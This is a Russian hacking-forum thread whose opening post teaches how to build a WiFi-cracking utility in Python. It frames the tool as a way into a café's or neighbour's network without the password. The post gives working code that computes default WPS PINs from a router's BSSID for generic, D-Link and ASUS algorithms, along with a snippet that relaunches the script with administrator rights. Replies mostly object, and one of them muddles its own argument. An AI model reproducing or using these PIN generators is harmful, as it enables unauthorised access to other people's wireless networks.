Пишем утилиту для взлома WiFi на Python

UndetectedButterFly

Malware Analyst
Joined
Jun 14, 2017
Messages
613
Reaction score
349
Приветствую, уважаемые пользователи Verminx.xyz
1.0

Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.

Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.

Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:
-Подбор ПИН-кода или ключа безопасности методом грубой силы;
-Использование уязвимостей реализации;
-Социальная инженерия;
-Использование слабостей генерации ПИН-кодов.
В этой статье мы остановимся на последнем методе из списка.
Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.
Откуда берут стандартный PIN
Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.
BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.
Генерация WPS PIN на примере
Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа
Анализируем любым удобным способом (например, Dumpper).
70e3466fc126566f32041.png

BSSID получен: C4:6E:1F(Дальше не могу дописать т.к оно поставит смайл, а не нужный символ, ну думаю вы поняли)
Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.
Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].
Вот реализация этого алгоритма на Python:

Python:
from math import floor
MAC = 'C46E1F6A8D04'
One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000
Var1 = 0
while Two:
  Var1 += 3 * (Two % 10)
  Two = floor(Two / 10)
  Var1 += Two % 10
  Two = floor(Two / 10)
Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10)
Var3 = str(int(Var2))
result = Var3.zfill(8)
Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность
395f718b2f60146826aaa.png

Подготовка и требования
Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:
-Windows 7 и выше;
-Python 3 и выше;
-Удобная IDE;
-Любимый браузер;
-Личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
-WpsWin (входит в состав того самого Dumpper);
-IDA и Hex-Rays Tool.
Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.
Автозапуск с правами администратора
Для автозапуска мы будем использовать следующий код:

Python:
import ctypes, sys
if ctypes.windll.shell32.IsUserAnAdmin():
  if __name__ == "__main__":
    main()
else:
  ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.
Разработка
Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):

Python:
from math import floor
def checksum(mac):
  mac %= 10000000
  var = 0
  temp = mac
  while temp:
    var += 3 * (temp % 10)
    temp = floor(temp / 10)
    var += temp % 10
    temp = floor(temp / 10)
  return (mac * 10) + ((10 - (var % 10)) % 10)
А также несколько функций генерации заветных ПИН-кодов.
Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.

Python:
def pin24(BSSID):
  temp = int(BSSID,16) & 0xFFFFFF
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

def pinDLink(BSSID):
  temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
  temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)
  temp %= 10000000
  if temp < 1000000:
    temp += ((temp % 9) * 1000000) + 1000000
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

def pinDLinkInc1(BSSID):
  temp = int(BSSID, 16) + 1
  return pinDLink(hex(temp))

def pinASUS(BSSID):
  temp = format(int(BSSID, 16), '02x')
  temp = str(temp).zfill(12)
  var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),
     int(temp[8:10], 16), int(temp[10:12], 16)]
  pin = []
  for i in range(7):
    pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
  temp = int(''.join(str(i) for i in pin))
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)
Discord - 蝶UndetectedButterFly1337.pw#0187
vk - https://vk.com/undetectedButterFly
telegram - @UndetectedButterFly
Оригинал - https://graph.org/Pishem-utilitu-dlya-vzloma-WiFi-na-Python-12-04
 
Joined
Aug 30, 2019
Messages
7
Reaction score
5
Чё творит этот человек. Ебать у тебя посты серьёзные,я бы тебя в депутаты взял
 

kriblik

Member
Joined
Feb 15, 2018
Messages
6
Reaction score
0
I gotta advise against that, it's not exactly something we should be promoting on a public forum. There are already plenty of guides out there on WiFi cracking, but let's keep the discussion civil and respectful, okay? Maybe we can focus on more constructive projects, like building a tool for securing WiFi networks instead?
 

sh_ment

New member
Joined
May 10, 2011
Messages
4
Reaction score
0
I'm not sure this is the right approach, bro. Writing a utility to crack WiFi networks isn't something we should be promoting or encouraging. Can we steer the conversation towards a more educational or penetration testing angle?
 

суперкар

New member
Joined
Sep 19, 2009
Messages
1
Reaction score
0
" Bruh, I gotta advise against this. Not only is WiFi cracking against networks you own illegitimate, but sharing code for it could get you in hot water with the community. Can I suggest rewriting this as a tutorial on securing your WiFi network instead?"
 
Top